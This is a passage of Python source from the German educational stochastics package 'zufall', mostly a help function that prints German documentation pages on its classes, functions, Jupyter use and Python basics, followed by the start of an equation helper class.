set([kopf(x) for x in liste if kopf(x) is not None])\n nam = list(nam)\n nam.sort(key=str)\t\t\t\t\n for nm in nam:\n nm_liste = [ nm ]\n nm_rest_liste = [x for x in liste if kopf(x) == nm]\n nm_rest_liste = [rest(x) for x in nm_rest_liste]\n nm_rest_baum = ibaum(nm_rest_liste)\n nm_liste += rest(nm_rest_baum) \n rliste += [nm_liste]\n return rliste\n\n return ibaum(liste)\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n# --------------\n# Hilfe-Funktion\n# --------------\n\ndef Hilfe(**kwargs):\n h = kwargs.get('h')\n if not h:\n h = 1\t\n if h == 1:\n print(\"h=2 - Einleitung\")\n print(\"h=3 - Online-Hilfeinformationen\")\n print(\"h=4 - Bezeichner\")\n print(\"h=5 - Zugriff auf Eigenschaften und Methoden\")\n print(\"h=6 - Klassen\")\t\t\n print(\"h=7 - Funktionen\")\n print(\"h=8 - Operatoren\")\t\t\n print(\"h=9 - Jupyter-Notebook\")\n print(\"h=10 - Nutzung von SymPy-Anweisungen\")\t\t\n print(\"h=11 - Griechische Buchstaben\")\t\t\n print(\"h=12 - Kleiner Python-Exkurs\")\t\t\n print(\"h=13 - Bemerkungen f\u00fcr Programmierer/Entwickler\")\t\t\n return\n\t\t\n if h == 2:\n print(\n \"\"\"\t\t\nEinleitung\n\nPython ist ein leistungsf\u00e4higer konventioneller Taschenrechner. Durch das CAS\nSymPy werden seine F\u00e4higkeiten vor allem um das symbolische Rechnen erwei-\ntert. Mit dem Paket zufall sollen Berechnungen auf dem Gebiet der Stochastik \nunterst\u00fctzt werden, wobei es f\u00fcr den Gebrauch in der Schule vorgesehen ist\n\t\nzufall ist ein Python-Paket und kann innerhalb von Jupyter-Notebooks benutzt \nwerden\n\nIn zufall werden die Objekte der Stochastik, wie Zufallsexperiment, Bernoul-,\nlikette, Urne, Binomialverteilung usw. mit entsprechenden Python-Klassen dar-\ngestellt. \u00dcber eine Konstruktor-/Erzeugerfunktion gleichen Namens k\u00f6nnen In- \nstanzen dieser Klassen (Objekte), erzeugt werden. Mit diesen und ihren Eigen-\nschaften + Methoden wird dann interaktiv gearbeitet. Weiterhin unterst\u00fctzen \neinige Funktionen die Arbeit\n\t\t\nDas Paket basiert auf dem vollst\u00e4ndig in Python geschriebenen CAS SymPy und \nist selbst ebenfalls (mit leichten Modifizierungen) in reinem Python ge- \nschrieben. F\u00fcr Grafiken wird das matplotlib-Paket benutzt\n\t\t\nDie Programme von zufall werden im Quellcode f\u00fcr die Benutzung bereitgestellt\\n \nDie Syntax zur Handhabung von zufall ist so gestaltet, dass sie leicht er- \nlernbar ist. Es sind nur geringe Python-Kenntnisse sowie F\u00e4higkeiten zum \nBedienen eines Jupyter-Notebooks notwendig\n \nBei der Arbeit mit zufall kann auf den gesamten Leistungsumfang von Python \t\nzugegriffen werden, der vor allem duch eine Vielzahl weiterer Pakete reali-\nsiert wird\t\t\n \"\"\")\t\t\n return\t\t\n\t\t\n if h == 3:\t\t\n print(\n \"\"\"\t\t\nErhalten von Hilfe-Informationen\n\nUnter dem Namen Hilfe steht eine Funktion zur Verf\u00fcgung, \u00fcber die zentrale\nHilfeinformationen erhalten werden k\u00f6nnen. Mit der Eingabe\n\n In [..]: Hilfe() oder Hilfe(h=1)\n \nin eine Zelle des Notebooks wird man auf einzelne Seiten geleitet\n\nWeitere Hilfeinformationen k\u00f6nnen zu jedem zufall-Objekt und zu den Metho-\nden eines Objektes gewonnen werden, indem bei der Erzeugung des Objektes \nmit Hilfe seiner Erzeugerfunktion oder beim Aufruf der Methode als letzter \nEintrag in der Argumentenliste h=1 geschrieben wird. Man erh\u00e4lt dann unmit-\ntelbar die gew\u00fcnschte Information oder wird auf eine andere Hilfeseite ge-\nleitet\n\nAnaloges gilt f\u00fcr die Funktionen, die von zufall zur Verf\u00fcgung gestellt wer-\nden\n\nWeiterhin ist f\u00fcr jedes Objekt eine Eigenschaft mit dem Namen h (Kurzform \nvon hilfe) vorhanden, bei deren Aufruf die verf\u00fcgbaren Eigenschaften und \nMethoden aufgelistet werden\n\t\nTritt in einer Syntaxdarstellung die Konstruktion /[...] auf, kann die Anga- \nbe zwischen den eckigen Klammern entfallen. Ein |-Zeichen bedeutet i.A., \t\ndass zwischen zwei Angaben ausgew\u00e4hlt werden kann\t\n \"\"\")\t\t\n return\n\t\t\n if h == 4:\n print(\n \"\"\"\t\t\nBezeichner (Namen)\n\nDie erzeugten zufall-Objekte k\u00f6nnen einem Bezeichner zugewiesen werden, \nz.B. wird mit der Anweisung\n\n In [..]: bv = BV(12, 0.3)\n \ndem Bezeichner bv als Wert ein BinomialVerteilung-Objekt zugewiesen ('=' ist \nin Python f\u00fcr Zuweisungen vorgesehen)\n\nEin Bezeichner kann in zufall aus allen Buchstaben des englischen Alphabets,\nallen Ziffern 0, 1, ..., 9 und dem Unterstrich '_' bestehen, wobei er mit\neinem Buchstaben beginnen mu\u00df. Der Name kann beliebig lang sein, es wird\nzwischen gro\u00dfen und kleinen Buchstaben unterschieden. Auf diese Art gebil-\ndeten Namen kann jederzeit ein Objekt (zufall-Objekt oder anderes, z.B. ei-\nne Zahl) zugewiesen werden. Dabei darf es sich nicht um einen gesch\u00fctzten \nNamen handeln (s.u.)\n\nAnders verh\u00e4lt es sich bei den 'freien' Bezeichnern, denen unmittelbar kein\nWert zugewiesen wird und die als Variablen oder als Parameter u.a. in Glei-\nchungen auftreten. Im Unterschied zu anderen CAS werden in dem von zufall \nbenutzten SymPy solche Bezeichner nicht einfach durch Hinschreiben erkannt \nund akzeptiert, sondern sie m\u00fcssen explizit als Symbole deklariert werden. \nF\u00fcr Buchstaben und kleine griechische Buchstaben wird das bereits innerhalb\nvon zufall erledigt, so dass Bezeichner wie r, g, b, A, X usw. jederzeit \nfrei verwendet werden k\u00f6nnen. Soll ein freier Bezeichner l\u00e4nger als ein \nZeichen sein, muss er mittels einer entsprechenden SymPy-Anweisung dekla-\nriert werden, etwa durch\n\n In [..]: xyz = Symbol('xyz')\n \nEs gibt eine Reihe von Bezeichnern, die in zufall eine feste Bedeutung ha-\nben und nicht anderweitig verwendet werden k\u00f6nnen, indem sie einen anderen \nWert bekommen. Beim Versuch, einen anderen Wert an einen solchen Bezeichner\nzu binden, warnt zufall mit einem Hinweis und verhindert das \u00dcberschreiben. \nEbenfalls in das Warnsystem aufgenommen wurden die Elemente der SymPy-Spra-\nche, die innerhalb von zufall zur Verf\u00fcung des Nutzers gestellt werden\\n\nBesondere Beachtung erfordern die Bezeichner E N und I, denen Konstanten zu-\ngewiesen sind. Sie werden kommentarlos \u00fcberschrieben werden, wenn ihnen ein\nanderer Wert zugewiesen wird\n\t\t\nViele Eigenschaften/Methoden haben synonyme Bezeichner, die folgenderma\u00dfen\ngebildet werden:\n\n - ein '_' (Unterstrich) innerhalb des Bezeichners einer Eigenschaft oder \n Methode wird eliminiert, indem der n\u00e4chste Buchstabe gro\u00df geschrieben \n wird, z.B. sch_el -> schEl ('Kamelschreibweise'; Methode\n 'Scharelement')\n - ein '_' am Ende eines Bezeichners wird elimimiert, indem das erste Zei-\n chen gro\u00df geschrieben wird, z.B: umfang_ -> Umfang (Methode 'Umfang')\n\t \nIn einem zufall-Notebook kann explizit mit anderen Python-Paketen gearbeitet \nwerden, speziell mit SymPy, von dem einige Anweisungen dem System bereits \nbekannt sind. Soll ein weiteres SymPy-Element benutzt werden, z.B. die Funk-\ntion ceiling, so ist dieses mit der \u00fcblichen import-Anweisung zu importieren \nund kann danach aufgerufen werden\n\t\n In [..]: from sympy import ceiling\n ...\n In [..]: ceiling(3.12) # das Ergebnis ist 4\t\t\n \"\"\")\t\t\n return\t\t\n\t\t\n if h == 5:\n print(\n \"\"\"\t\t\t\nZugriff auf Eigenschaften und Methoden von Objekten\n\nDie zufall-Objekte haben verschiedene Eigenschaften und Methoden (die letz-\nteren erwarten f\u00fcr ihre Ausf\u00fchrung Argumente - ein weiteres Objekt, einen \nParameterwert o.\u00e4.). Die implementierten Eigenschaften und Methoden eines \nObjektes k\u00f6nnen \u00fcber seine Hilfeseite wie etwa\n\n In [..]: BV(h=1)\n \nermittelt werden. Ein BV-Objekt (BV ist der Kurzname von BinomialVerteilung) \nhat z.B. die Eigenschaft erw (Erwartungswert) und die Methode P (zur Berech-\nnung von Wahrscheinlichkeiten). Der Zugriff erfolgt mittels des '.' - Ope-\nrators, der allgemein in der Objektorientierten Programmierung Verwendung \nfindet. Sei etwa dem Bezeichner bv ein BV-Objekt zugewiesen, etwa mit der \nAnweisung\n\n In [..]: bv = BV(50, 1/3))\n \nso sind die Anweisungen f\u00fcr den Zugriff zu seinem Erwartungswert\n\t\t\n In [..]: bv.erw\n \nund zu der Methode f\u00fcr die Berechnung von Wahrscheinlichkeiten\n\t\t\n In [..]: bv.P(25)\n \nEine Methode wird generell \u00fcber einen Funktionsaufruf realisiert, der Argu-\nmente erwartet, die in Klammern eingeschlossen werden. Hier wurde das Argu-\nment 25 angegeben, es soll die Wahrscheinlichkeit daf\u00fcr berechnet werden, \ndass eine Zufallsgr\u00f6\u00dfe mit der betrachteten Verteilung diesen Wert annimmt\n\nZu einer Reihe von Eigenschaften existiert eine Methode mit gleichem Namen, \nder auf einen Unterstrich '_' endet. Damit besteht die M\u00f6glichkeit, mittels \ndes entsprechenden Funktionsaufrufes zus\u00e4tzliche Informationen/Leistungen \nanzufordern. Welche das sind, kann \u00fcber die Hilfeanforderung (h=1 als letz-\nter Eintrag in der Argumentliste) erfahren werden. Diese zu Eigenschaften \ngeh\u00f6renden Methoden k\u00f6nnen auch \u00fcber den Namen der Eigenschaft mit gro\u00dfem \t\nAnfangsbuchstaben aufgerufen werden, also z.B. f\u00fcr die Eigenschaft erw von\nbv\n\t\t\n In [..]: bv.erw_(...) oder\n In [..]: bv.Erw(...)\n \nDas Ergebnis eines Eigenschafts-/Methodenaufrufes kann ein Tupel oder eine \nListe sein, etwa die Daten einer DatenReihe dr, die als Liste dr.daten vor-\nliegen. Um auf ein einzelnes Element zuzugreifen, wird der Indexzugriff ver-\nwendet, etwa\n\n In [..]: dr.daten[3]\n \nf\u00fcr das 4. Element der Liste (gem\u00e4\u00df der Python-Konvention beginnt die Z\u00e4hlung \nbei 0) oder\n\n In [..]: dr.daten[:3] \n \nf\u00fcr den Zugriff auf die ersten 3 Elemente\n\nWahrscheinlichkeits- und H\u00e4ufigkeits-Verteilungen und anderes werden als \ndictionary bereitgestellt (Schl\u00fcssel/Wert-Paare). Hier erfolgt der Zugriff \nauf einen einzelnen Wert \u00fcber den Schl\u00fcssel, z.B. bei der Methode vert \n(Wahrscheinlichkeitsverteilung) der betrachteten BinomialVerteilung\n\n In [..]: bv.vert[4]\t\t\n \"\"\")\t\t\n return\t\t\n\t\t\n if h == 6:\n print(\n \"\"\"\t\t\nKlassen in zufall\n\t\nKurz- Langname\n\nZE ZufallsExperiment\n = ZV ZufallsVersuch\nZG ZufallsGr\u00f6\u00dfe\nBK BernoulliKette\n\nBV BinomialVerteilung\t\t\nHGV HyperGeometrischeVerteilung\t\t\nGLV GleichVerteilung\nGV GeometrischeVerteilung\nPV PoissonVerteilung\\n\t\t\nNV NormalVerteilung\nEV ExponentialVerteilung\n\nDR DatenReihe\n\nEA EreignisAlgebra\t\t\nVT VierFelderTafel\nHB H\u00e4ufigkeitsBaum\n\nKI KonfidenzIntervall\t\t\nAT AlternativTest\t\t\nSTP SignifikanzTestP\n\t\t\nUrne\t\t\nM\u00fcnze\t\t\nW\u00fcrfel\t\t\nRad Gl\u00fccksRad\n\t\t\nMK MarkoffKette\n\t\t\nRoulette\t\t\nChuck ChuckALuck\t\t\nCraps\t\t\nToto FussballToto\t\t\nLotto\t\t\nSkat SkatBlatt\n\t\t\nVektor analog zu agla\t\t\nMatrix analog zu agla\t\t\t\n \"\"\")\t\t\n return\n\t\t\n if h == 7: \n print(\n \"\"\"\t\t\nFunktionen in zufall\n\t\t\nAllgemeine Funktionen\n\t\t\nHilfe Hilfefunktion\nfakult\u00e4t = fak Fakult\u00e4t\nbinomial = B Binomialkoeffizient \nperm = permutationen Permutationen\t\nkomb = kombinationen Kombinationen\t\nvariationen Variationen\t\nauswahlen Berechnung von k-Auswahlen\t\nzuf_zahl = zufZahl Erzeugen von (Pseudo)-Zufallszahlen\t\nanzahl Anzahl des Vorkommens eines Elementes in einer \n Liste/DatenReihe\nanzahl_treffer Anzahl Treffer in einer Liste \n = anzahlTreffer \nsumme Summe der Elemente einer Liste/DatenReihe \ngesetze Einige Gesetze der Wahrscheinlichkeitsrechnung\t\nl\u00f6se Allgemeiner Gleichungs-/Ungleichungs-L\u00f6ser\t\t\nja_nein = jaNein Bewertung logischer Ausdr\u00fccke\nstochastisch Test auf stochastische(n) Vektor/Matrix\neinfach Vereinfachen von Objekten\nja, nein, mit, ohne, Hilfsgr\u00f6\u00dfen\nJa, Nein, Mit, Ohne f\u00fcr True/False\n\nMathematische Funktionen\n\nsqrt, exp, log, ln, lg, abs\nsin, arcsin (= asin), sing, arcsing (= asing) / ...g: \ncos, arccos (= acos), cosg, arccosg (= acosg) / Funktionen\ntan, arctan (= atan), tang, arctang (= atang) / mit Grad-\ncot, arccot (= acot), cotg, arccotg (= acotg) / werten\nsinh, arsinh (= asinh)\t\ncosh, arcosh (= acosh)\t\ntanh, artanh (= atanh)\ndeg = grad Umrechnung Bogen- in Gradma\u00df\t\t\nrad = bog Umrechnung Grad- in Bogenma\u00df\t\nkug_koord (= kugKoord) Umrechnung in Kugelkoordinaten\t\t\t\nmin, max - Minimum bzw. Maximum von zwei oder mehr Zahlen\t\t\nN oder Methode n - Umwandlung SymPy- in Dezimal-Ausdruck \nre - Realteil einer komplexen Zahl\nim - Imagin\u00e4rteil einer komplexen Zahl\nconjugate (= konjugiert) - Konjugiert-komplexe Zahl\n\nKonstanten\n\npi - Zahl Pi (3.1415...)\nE - Eulersche Zahl e (2.7182...)\nI - imagin\u00e4re Einheit\n\nACHTUNG! B, E, N, I sind kommentarlos \u00fcberschreibbar\n \"\"\")\t\t\n return\n\t\t\t\t\n if h == 8:\n print(\n \"\"\"\t\t\nOperatoren\n\nFolgende Operatoren stehen zus\u00e4tzlich zu den Python-Operatoren zur\t\t\nVerf\u00fcgung bzw. ersetzen diese\n\t\n ^ Potenzierung; zus\u00e4tzlich zum Operator **; Umdefinition des\n Python-Operators ^\t\t\n \u00b0 Skalarprodukt von Vektoren; zus\u00e4tzlich zum Operator *\t\t\n | Verkettung von Vektoren; Umdefinition des Python-Operators |\t\t\t\n \"\"\")\t\t\n return\n\t\t\n if h == 9: \n print(\n \"\"\"\t\t\nJupyter-Notebook\n\n+==================================================================+\n| Um in einem Notebook mit zufall arbeiten zu k\u00f6nnen, muss zu | \n| Beginn der Sitzung die (Jupyter-) Anweisung |\n| |\n| In [..]: %run zufall/start |\n| |\n| in einer Codezelle ausgef\u00fchrt werden |\n+==================================================================+\n\t\t\nzufall benutzt als Bedienoberfl\u00e4che Jupyter. Dieses wurde unter dem \nNamen IPython urspr\u00fcnglich als Entwicklungsumgebung f\u00fcr Python- \nAnwendungen bereitgestellt, unterst\u00fctzt aber inzwischen eine Vielzahl \nweiterer Programmiersprachen. Der Name setzt sich aus den Namen von \ndrei Sprachen zusammen - Julia (eine Sprache, die sehr schnellen Code \nerzeugt), Python und R (inzwischen ein leistungsf\u00e4higes Statistikpaket)\n\nAusschlaggebend f\u00fcr die Wahl dieser Plattform war das hier realisierte \nNotebook-Konzept, wie es auch in kommerziellen CAS (z.B. Mathematica) \nVerwendung findet\n\nJupyter l\u00e4uft als lokale Anwendung auf dem Standardbrowser des \nComputers, Kern (kernel) ist der Python-Interpreter\n\nEin Jupyer-Notebook ist in Zellen (cells) unterteilt, wobei drei \nZelltypen auftreten, die hier interessieren:\n\n - Code-Zellen Kennzeichnung: In [..] \n\t \n In diese Zellen werden Anweisungen in der benutzten \n Programmiersprache (hier Python) geschrieben, also auch \n Anweisungen zur Benutzung von zufall; die Zellen sind analog zu \n einem Texteditor editierbar; beim Ausf\u00fchren (run) einer solchen \n Zelle wird ihr Inhalt an den Python-Interpreter \u00fcbergeben, der \n f\u00fcr seine Verarbeitung sorgt\n\t \n Eine neue Zelle wird standardm\u00e4\u00dfig als Code-Zelle erzeugt; die \n Umwandlung einer Markdown-Zelle in eine Code-Zelle ist \u00fcber das \n Code-Men\u00fc oder die Platzierung des Cursors im vorderen \n Zellbereich und Dr\u00fccken der Y-Taste erreichbar\n\t \n -Ausgabe-Zellen Kennzeichnung: Out [..]\n\t \n Die Zellen entstehen, wenn nach der Auswertung einer Codezelle \n durch den Python-Interpreter eine Ausgabe erforderlich ist; in \n diese Zellen kann der Benutzer nicht direkt schreiben\t \n\t \n - Markdown-Zellen\tOhne Kennzeichnung\n\t \n Die Zellen dienen vor allem zur Aufnahme von Texten, wobei diese \n mit Markdown- (eine einfache Auszeichnungssprache) oder HTML- \n Anweisungen formatiert werden k\u00f6nnen; sie k\u00f6nnen auch \n mathematische Formeln enthalten (Nutzung von LATEX), au\u00dferdem \n k\u00f6nnen in solchen Zellen Grafiken und Bilder dargestellt und/\n oder Audio- und Video-Dateien aktiv sein; beim Ausf\u00fchren einer \n solchen Zelle werden eventuell vorhandene Formatierungs-\n Anweisungen ausgef\u00fchrt und der Inhalt auf dem Ausgabemedium \n pr\u00e4sentiert\n\n Die Umwandlung einer Code-Zelle in eine Markdown-Zelle ist \u00fcber \n das entsprechende Men\u00fc oder die Platzierung des Cursors im \n vorderen Zellbereich und Dr\u00fccken der M-Taste erreichbar \n\t \nCode- und Markdown-Zellen k\u00f6nnen beliebig erzeugt, gel\u00f6scht, kopiert, \neingef\u00fcgt und verschoben werden\t \n\nEs kann zu jeder dieser Zellen gesprungen werden, um sie zu ver\u00e4ndern \nund/oder erneut auszuf\u00fchren \n\nIn einem Notebook kann in zwei Modi gearbeitet werden\n\n- Editier-Modus: Einschalten mit Enter; oben rechts ist ein Stift \n dargestellt \n\t \n In diesem Modus kann der Inhalt der aktuellen Zelle editiert \n werden \n\n Das Editieren einer bestehenden Markdown-Zelle kann auch mit \n einem Doppel-Klick eingeleitet werden\n\t \n- Kommando-Modus: Einschalten mit ESC; der Stift rechts oben fehlt\n\t \n in diesem Modus k\u00f6nnen Aktionen durchgef\u00fchrt werden, die das \n Notebook als Ganzes betreffen (Zellen erzeugen/kopieren/\n l\u00f6schen/verschieben, zwischen ihnen navigieren, Dateien \u00f6ffnen \n und speichern usw.)\n\nWenn der Kern besch\u00e4ftigt ist, ist der schwarze Kreis rechts oben \ngef\u00fcllt; auch in dieser Zeit kann editiert werden, die Ausf\u00fchrung \nweiterer Zellen kann aber erst erfolgen, wenn der Kern wieder frei \nist \n\nEine Datei, in die der Inhalt eines Notebooks gespeichert wird, \nerh\u00e4lt die Endung .ipynb\n\nF\u00fcr den Export eines Notebooks, z.B. in das .html- oder .pdf-\nFormat, ist das separat zu nutzende Werkzeug nbconvert vorgesehen\n \n\nDie Bedienung eines Notebooks kann \u00fcber das Men\u00fc und/oder \u00fcber die Tastatur \nerfolgen\n\t\t\nEinige Tastatur-K\u00fcrzel f\u00fcr das Jupyter-Notebook\n\n Umsch+Enter Zelle ausf\u00fchren, zur n\u00e4chsten gehen (diese wird even-\n tuell neu angef\u00fcgt)\t\t\n Strg+Enter Zelle ausf\u00fchren, in der Zelle verbleiben\t\t\n Strg+M B Zelle unterhalb einf\u00fcgen\t\t\n Strg+M A Zelle oberhalb einf\u00fcgen\t\n Strg+M DD Zelle l\u00f6schen (D 2-mal dr\u00fccken)\t\t\n Esc X Zelle l\u00f6schen\t\t\n Strg+Z Zur\u00fccksetzen beim Editieren\\n\t\t\n Esc Einschalten des Kommando-Modus\n Enter Einschalten des Editier-Modus\n Strg+M H Anzeigen aller Tastatur-K\u00fcrzel f\u00fcr die beiden Modi\n \n Ausf\u00fchren: (z.B. Strg-M B)\n \n Strg-Taste dr\u00fccken, dann M-Taste, Strg loslassen, dann B-Taste\t\n durch mehrmaliges Dr\u00fccken der B-Taste k\u00f6nnen mehrere Zellen eingef\u00fcgt\n werden\t\n \"\"\") \n return\n\t\t\t\n if h == 10:\t\t\n print(\n \"\"\"\t\t\nNutzung von SymPy-Anweisungen\n\nIn zufall sind folgende Elemente von SymPy integriert:\n\t\t\nSymbol, symbols - zur Definition von (mehrstelligen) Bezeichnern\nRational - zur Erzeugung von rationalen Zahlen (wird in zufall weitgehend \nautomatisch erledigt)\n\nsolve, solveset, expand, collect, factor, simplify, nsimplify \n\nN [der Wert ist \u00fcberschreibbar]\n\npi - die Kreiszahl\nE - die Basis der nat\u00fcrlichen Logarithmen (e) [der Wert ist \u00fcberschreibbar]\nI - die imagin\u00e4re Einheit (i) [der Wert ist \u00fcberschreibbar]\n\t\t\nSollen weitere Elemente benutzt werden, sind diese zu importieren, z.B.\n\n In [..]: from sympy import Piecewise\n \n(eventuell ist der Pfad im SymPy-Verzeichnis-Baum anzugeben)\t\n \"\"\")\t\t\n return\n \n if h == 11:\n print(\"\\nGriechische Buchstaben\\n\")\n print(\"Es werden die kleinen griechischen Buchstaben\\n\")\t \n print(\"alpha, beta, gamma, delta, epsilon, zeta, eta, theta, iota, kappa \")\n display(Math(\"\\\\alpha \\qquad \\\\beta \\qquad \\\\gamma \\qquad \\\\delta \\qquad \\\\epsilon \\qquad \\\n\t\t \\\\zeta \\qquad \\\\eta \\qquad \\\\theta \\qquad \\\\iota \\qquad \\\\kappa \"))\t\t\n print(\"lamda (Schreibweise!), mu, nu, xi, omicron, pi, rho, sigma, tau \")\n display(Math(\"\\\\lambda \\qquad \\\\mu \\qquad \\\\nu \\qquad \\\\xi \\qquad \\\\omicron \\qquad \\\\pi \\\n \\qquad \\\\rho \\qquad \\\\sigma \\qquad \\\\tau\"))\t\t\n print(\"upsilon, phi, chi, psi, omega\\n\")\n display(Math(\"\\\\upsilon \\qquad \\\\phi \\qquad \\\\chi \\qquad \\\\psi \\qquad \\\\omega\"))\t\t\n print(\"bereitgestellt. Die Namen sind nicht \u00fcberschreibbar\\n\")\n return\n\t\t\n if h == 12:\n print(\n \"\"\"\nKleiner Python-Exkurs\n\nEingabe von Code (in eine Code-Zelle des Jupyter-Notebooks):\n\n Die Ausf\u00fchrung einer Zelle wird durch Umsch+Enter bzw. Strg+Enter \n veranla\u00dft\t\t\n\t\n Eine Zuweisung (eines Wertes an einen Bezeichner) wird mittels '=' \n realisiert:\n\t\n In [..]: a = 4\n\t\t\n Der Wert eines Bezeichners kann \u00fcber eine Abfrage ermittelt werden\n\t\n In [..]: a\n\t\t\n Mehrere Zuweisungen in einer Zeile sind durch ';' zu trennen\n\t\n In [..]: a = 4; b = 34; c = -8\n\t\t\n Mehrere Abfrageanweisungen in einer Zeile sind durch ',' zu trennen\t\t\t\t\n (ein ';' unterdr\u00fcckt die Anzeige der vorausgehenden Elemente)\t\n\t\n In [..]: a, b, c\n\t\t\n Eine neue Zeile (innerhalb einer Zelle des Notebooks) wird \u00fcber die\n Enter-Taste erzeugt; in der neuen Zeile ist ab derselben Stelle zu \n schreiben wie in der vorangehenden Zeile, wenn nicht ein einger\u00fcckter \n Block entstehen soll (bzw. wenn nicht durch ein '\\\\' am Zeilenende ei-\n ne Verl\u00e4ngerung der Zeile erreicht werden soll) \n Das ist Teil der Python-Syntax und f\u00fchrt bei Nichtbeachten zu einem\n Syntaxfehler \t\t\n\t\n Einger\u00fcckte Bl\u00f6cke sind z.B. bei Kontrollstrukturen (vor allem in Pro-\n grammen benutzt) erforderlich. Dabei m\u00fcssen alle Einr\u00fcckungen die glei-\n che Stellenanzahl (standardm\u00e4\u00dfig 4 Stellen) haben\n Bei der if-else-Anweisung sieht das z.B. folgenderma\u00dfen aus:\n\t\n In [..]: if a < 1: \n b = 0 # 4 Stellen einger\u00fcckt\n c = 3 # ebenso\t\t\n else:\n b = 1 # ebenso\t\n\t\t\t\t\t \n oder bei einer Funktions-Definition:\t\n\t\n In [..]: def summe(x):\n sum = 0\t\t\n for y in x:\n sum += y # weitere Einr\u00fcckung\t\t\n return sum\t\t\t\n\t\t\t\t\t \n Die Funktion berechnet die Summe der Elemente des Zahlen-Containers \n x (eine Liste, ein Tupel oder eine Menge)\n\t\t\n Mittels '#' k\u00f6nnen in Codezellen Kommentare geschrieben werden, sie wer-\n den bei der Ausf\u00fchrung ignoriert\n\t\nEinige Datentypen:\n\n Zeichenkette (string) z.B.: 'Tab23' oder \\\"Tab23\\\"#\n\t\n Tupel (tuple) z.B.: \n\t\n In [..]: t = ( 1, 2, 3 ); t1 = ( 'a', a, Rational(1, 2), 2.7 )\n Zugriff auf Elemente t[0], t1[-1], Slicing (Z\u00e4hlung ab 0)\n\t\t\n Liste (list) z.B.: \n\t\n In [..]: L = [ 1, 2, 3 ]; L1 = [ 'a', a, Rational(1, 2), 2.7 ] \t\t\n Zugriff auf Elemente L[0], L1[-1], Slicing (Z\u00e4hlung ab 0)\n\t\t\n Schl\u00fcssel-Wert-Liste (dictionary, dict) z.B.:\n\t\n In [..]: d = { a:4, b:34, c:-8 }\n Zugriff auf Elemente d[a], d[c]\n\t\t\n Menge (set) z.B.: \n\t\n In [..]: m = { a, b, c }; m1 = set() (leere Menge)\n Zugriff auf Elemente m.pop(), Indexzugriff mit list(m)[index] m\u00f6g-\n lich\t\t\n\t\t\nWeitere n\u00fctzliche Python-Elemente:\n\n Mittels type(obj) kann der Datentyp eines Objektes obj erfragt werden\t\n\t\n List-Comprehension\n\t\n In [..]: tup = 1, 2, 3, 4, 5, 6 # oder anderer Datencontainer\n In [..]: [ x^2 for x in tup ] # sehr m\u00e4chtige Anweisung\t\n Out[..]: [1, 4, 9, 16, 25, 36] \t\n\t\t\n Funktionsdefinition mit anonymer Funktion\n\t\n lambda arg1, arg2, ... : ausdruck in arg1, arg2, ...\n\t\t\n Klasse Rational: da p/q in Python (und damit auch in SymPy) eine float-\n Zahl ergibt, kann bei Bedarf eine rationale Zahl Rational(p, q) ver-\n wendet werden (in zufall erfolgt das an den meisten Stellen automa-\n tisch) \t\t\n\t\t\n *liste als Argument einer Funktion packt den Container liste aus \n\t\n Ersetzen des Wertes eines Bezeichners in einem Ausdruck durch\n einen anderen Wert (eine SymPy-Anweisung) \n\t\t\n ausdruck.subs(bez, wert) \n\t\t\n In [..]: (x+y).subs(x, 2)\t\t\n Out[..]: y+2\n\t\t\n Die Ausgabe '' weist auf eine an ein Objekt gebundene \n Methode (eine Funktion) hin, die zu ihrer Ausf\u00fchrung in Klammern ein-\n gefasste Parameter erwartet\t\t\n \"\"\")\n return\n\n if h == 13:\n print(\n \"\"\"\t\nBemerkungen f\u00fcr Programmierer / Entwickler\n\nZur Unterst\u00fctzung der Fehlersuche ist im Hauptprogramm die Variable _TEST\nvorgesehen, die im Quelltext ge\u00e4ndert werden kann; bei _TEST = True werden\nbei Fehlern die vollst\u00e4ndigen Python-Fehlermeldungen angezeigt\t\nDurch das zufall-Paket wird die Python-Sprache an einigen Stellen modifiziert\n(Umdefinition der Operatoren '^' und '|', Unterbinden der Zuweisung eines\nWertes an die Eigenschaft/Methode eines Objektes ('objekt.eigenschaft = wert'-\nKonstrukt), Verwenden der deutschen Umlaute in Bezeichnern u.a.m.). Bei \u00c4nde-\nrungen oder Erg\u00e4nzungen der zufall-Quelltexte d\u00fcrfen diese Modifizierungen nicht\nbenutzt werden. Ebenso ist es nicht ratsam, innerhalb eines zufall-Notebooks\neine allgemeine Python-Programmierung durchzuf\u00fchren\n\nAus der Sicht des Autors sollten die Schwerpunkte der weiteren Entwicklung \ndes Paketes sein:\t\t\n\n - Konfiguration der Jupyter-Oberfl\u00e4che entsprechend den Bed\u00fcrfnissen von \n Lehrern und Sch\u00fclern\\n\n - Vereinheitlichung der Schriftart und -gr\u00f6\u00dfe f\u00fcr Ausgaben\\n\t \n - Aufnahme weiterer statistischer Tests in das Paket\\n\n - Gestaltung der EreignisAlgebra-Klasse auf der Basis von logischen Aus-\n dr\u00fccken\\n\n - Verbesserung der Fehlererkennung und -mitteilung\\n\t \n - Bessere Verkn\u00fcpfung der Dokumentation mit den Programmen\\n\t \n - Eventuelle Anpassung an die SymEngine (nach deren Fertigstellung durch \n die Entwickler)\t \n \"\"\")\n return\n\t\t\t\n\t\t\t\n# ------------------------------\n# Hilfsgroessen f\u00fcr True / False\n# ------------------------------\n\nJa = ja = Mit = mit = True\nNein = nein = Ohne = ohne = False\n\t\t\n\n\t\t\n# --------------------------- \n# Hilfsklasse f\u00fcr Gleichungen \n# --------------------------- \n\nclass _Gleichung(ZufallsObjekt): \n\n def __new__(cls, *args): \n\n printmethod = '_latex'\n \n try:\n if not args:\n raise ZufallError(\"mindestens die linke Seite der Gleichung angeben\")\t\n if len(args) > 2:\n raise ZufallError(\"nur die beiden Seiten der Gleichung angeben\")\t\t\n lhs = args[0]\n rhs = 0\n if len(args) > 1:\n rhs = args[1]\n ve = importlib.import_module('agla.lib.objekte.vektor')\n Vektor = ve.Vektor\n if not ((is_zahl(lhs) or isinstance(lhs, Vektor)) and \n\t\t (is_zahl(rhs) or isinstance(rhs, Vektor))):\t\n raise ZufallError(\"nur arithmetische Ausdr\u00fccke oder Vektoren angeben\")\t\t\n return ZufallObjekt.__new__(cls, lhs, rhs)\n except ZufallError as e:\n print('zufall', str(e))\n return\n\t\t\t\n def __str__(self):\n return str(self.lhs) + \" = \" + str(self.rhs)\n\t\t\n def __repr__(self):\n return 'gleichung(' + repr(self.lhs) + ',' + repr(self.rhs) + ')'\n\t\t\n def _latex(self, printer):\t \n return latex(self.lhs) + '=' + latex(self.rhs)\t\t\n\t\t\n @property\n def lhs(self):\n return self.args[0]\n @property\t\t\n def rhs(self):\n return self.args[1]\n\t\t\n def 